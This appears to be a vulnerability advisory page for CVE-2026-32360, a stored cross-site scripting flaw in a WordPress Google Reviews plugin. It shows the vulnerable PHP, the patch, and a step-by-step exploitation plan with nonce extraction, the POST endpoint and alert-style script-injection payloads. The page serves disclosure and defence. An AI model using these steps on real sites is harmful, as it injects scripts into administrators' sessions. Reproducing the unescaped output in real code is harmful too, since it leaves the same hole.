CVE-2026-32360

Rich Showcase for Google Reviews <= 6.9.4.3 - Authenticated (Editor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
6.9.4.4
Patched in
60d
Time to patch

Description

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.9.4.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.9.4.3
PublishedFebruary 15, 2026
Last updatedApril 15, 2026
Affected pluginwidget-google-reviews

What Changed in the Fix

Changes introduced in v6.9.4.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32360 ## 1. Vulnerability Summary The **Rich Showcase for Google Reviews** plugin (version <= 6.9.4.3) is vulnerable to **Authenticated (Editor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape feed…

Show full research plan

Exploitation Research Plan - CVE-2026-32360

1. Vulnerability Summary

The Rich Showcase for Google Reviews plugin (version <= 6.9.4.3) is vulnerable to Authenticated (Editor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape feed configuration data (specifically the title and content fields) before rendering them in the administrative "Builder" interface.

In standard WordPress environments, Editors have the unfiltered_html capability, which allows them to save scripts. However, this plugin fails to properly escape this data during output, meaning that in Multi-site environments or installations where unfiltered_html is disabled, an Editor can still bypass restrictions to store and execute arbitrary JavaScript that will fire when an Administrator visits the settings page.

2. Attack Vector Analysis

  • Vulnerable Admin Page: wp-admin/admin.php?page=grw-builder
  • Vulnerable Form Action: admin-post.php?action=grw_feed_save
  • Vulnerable Parameters:
    • grw_feed[title]
    • grw_feed[content]
  • Authentication Level: Editor or higher.
  • Preconditions: Multi-site installation or unfiltered_html disabled (e.g., define('DISALLOW_UNFILTERED_HTML', true);).

3. Code Flow

  1. Input: An Editor submits the "Connect Reviews" form in the Builder.
  2. Persistence: The form maps to admin-post.php?action=grw_feed_save. The plugin (via its Feed_Controller, inferred from the Post_Types::FEED_POST_TYPE . '_save' action) saves the grw_feed[title] and grw_feed[content] into a custom post type (likely grw_feed).
  3. Retrieval: When the Builder page is loaded (includes/class-builder-page.php), the render() function retrieves the feed object:
    $feed_post_title = $feed->post_title;
    $feed_content = trim($feed->post_content);
    
  4. Sink (Title): The post_title is echoed raw into an input value attribute:
    // includes/class-builder-page.php:97
    <input id="grw_title" ... value="<?php if (isset($feed_post_title)) { echo $feed_post_title; } ?>" ...>
    
  5. Sink (Content): The post_content is echoed raw into a textarea:
    // includes/class-builder-page.php:112
    <textarea id="grw-builder-connection" ...><?php echo $feed_content; ?></textarea>
    

4. Nonce Acquisition Strategy

The form uses a WordPress nonce for protection, registered with the action grw_wpnonce.

  1. Shortcode/Page: The Builder page wp-admin/admin.php?page=grw-builder contains the nonce.
  2. Extraction:
    • Navigate to wp-admin/admin.php?page=grw-builder as an Editor.
    • Use browser_eval to extract the nonce from the hidden input field:
      document.querySelector('input[name="grw_nonce"]').value
      

5. Exploitation Strategy

Step 1: Identify Post Type Slug

Confirm that Post_Types::FEED_POST_TYPE is grw_feed. (Inferred from parameter names in class-builder-page.php).

Step 2: Extract Nonce

  • Login as Editor.
  • Navigate to wp-admin/admin.php?page=grw-builder.
  • Execute browser_eval to get the value of grw_nonce.

Step 3: Inject Payload via POST

Send a POST request to admin-post.php to save a new feed configuration with the payload.

  • URL: http://localhost:8080/wp-admin/admin-post.php?action=grw_feed_save
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • grw_nonce: [EXTRACTED_NONCE]
    • grw_feed[post_id]: (empty for new)
    • grw_feed[title]: "><script>alert("XSS_TITLE")</script>
    • grw_feed[content]: </textarea><script>alert("XSS_CONTENT")</script>
    • grw_feed[current_url]: http://localhost:8080/wp-admin/admin.php?page=grw-builder

Step 4: Trigger Execution

The plugin will redirect to the Builder page for the newly created ID (e.g., ?page=grw-builder&grw_feed_id=123).

  • Follow the redirect or manually navigate to the new ID.
  • The browser should trigger two alerts: one from the title attribute breakout and one from the textarea breakout.

6. Test Data Setup

  1. User: Create a user with the Editor role.
  2. Environment Restriction: Ensure the test environment has unfiltered_html disabled to prove the vulnerability bypasses expected security controls:
    wp config set DISALLOW_UNFILTERED_HTML true --raw
    
  3. Plugin Activation: Ensure "Rich Showcase for Google Reviews" is active.

7. Expected Results

  • The POST request should return a 302 Redirect.
  • The redirection URL should contain a grw_feed_id parameter.
  • Upon loading the redirect URL, the HTML source should contain:
    <input id="grw_title" ... value=""><script>alert("XSS_TITLE")</script>">
    ...
    <textarea ...></textarea><script>alert("XSS_CONTENT")</script></textarea>
    
  • JavaScript execution (alert) occurs in the context of the logged-in user.

8. Verification Steps

  1. Database Check: Verify the payload is stored in the wp_posts table for the grw_feed post type:
    wp post list --post_type=grw_feed --fields=ID,post_title,post_content
    
  2. Visual Check: Use browser_navigate to the feed URL and confirm the alert appears.

9. Alternative Approaches

If the admin-post.php handler restricts creation to specific roles or requires an existing post_id, first create a "Feed" legitimately via the UI, then capture the post_id and perform the update via the same POST endpoint using the legitimate ID.

If the Editor cannot access the Builder page due to additional capability checks, verify if the grw_rateus_ajax_feedback action (found in assets/js/admin-main.js) also stores data unsafely, although that is a different endpoint.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'grw_feed' title and content parameters. Authenticated attackers with editor-level permissions can inject arbitrary scripts into these fields, which execute when an administrator visits the plugin's builder interface, particularly in environments where unfiltered_html is disabled.

Vulnerable Code

// includes/class-builder-page.php line 97
<input id="grw_title" class="grw-toolbar-title-input" type="text" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[title]" value="<?php if (isset($feed_post_title)) { echo $feed_post_title; } ?>" placeholder="Enter a widget name" maxlength="255" autofocus>

---

// includes/class-builder-page.php line 112
<textarea id="grw-builder-connection" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[content]" style="display:none"><?php echo $feed_content; ?></textarea>

Security Fix

--- includes/class-builder-page.php
+++ includes/class-builder-page.php
@@ -94,7 +94,7 @@
                 <div class="grw-builder-workspace">
                     <div class="grw-toolbar">
                         <div class="grw-toolbar-title">
-                            <input id="grw_title" class="grw-toolbar-title-input" type="text" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[title]" value="<?php if (isset($feed_post_title)) { echo $feed_post_title; } ?>" placeholder="Enter a widget name" maxlength="255" autofocus>
+                            <input id="grw_title" class="grw-toolbar-title-input" type="text" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[title]" value="<?php if (isset($feed_post_title)) { echo esc_attr($feed_post_title); } ?>" placeholder="Enter a widget name" maxlength="255" autofocus>
                         </div>
                         <div class="grw-toolbar-control">
                             <?php if ($feed_inited) {
@@ -109,7 +109,7 @@
                         </div>
                     </div>
                     <div class="grw-builder-preview">
-                        <textarea id="grw-builder-connection" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[content]" style="display:none"><?php echo $feed_content; ?></textarea>
+                        <textarea id="grw-builder-connection" name="<?php echo Post_Types::FEED_POST_TYPE; ?>[content]" style="display:none"><?php echo esc_textarea($feed_content); ?></textarea>
                         <div id="grw_collection_preview">
                             <?php

Exploit Outline

1. Gain access to a WordPress account with Editor or higher privileges. 2. In environments where 'unfiltered_html' is disabled (like WordPress Multi-site), navigate to the 'Connect Reviews' builder page to retrieve a valid 'grw_nonce'. 3. Construct a POST request to '/wp-admin/admin-post.php?action=grw_feed_save' including the nonce and malicious payloads. 4. For the title field (grw_feed[title]), use a payload like '"><script>alert(1)</script>' to break out of the input value attribute. 5. For the content field (grw_feed[content]), use a payload like '</textarea><script>alert(1)</script>' to break out of the textarea element. 6. The scripts will be stored in the database and execute whenever a user (such as an Administrator) loads the feed configuration in the plugin's builder interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.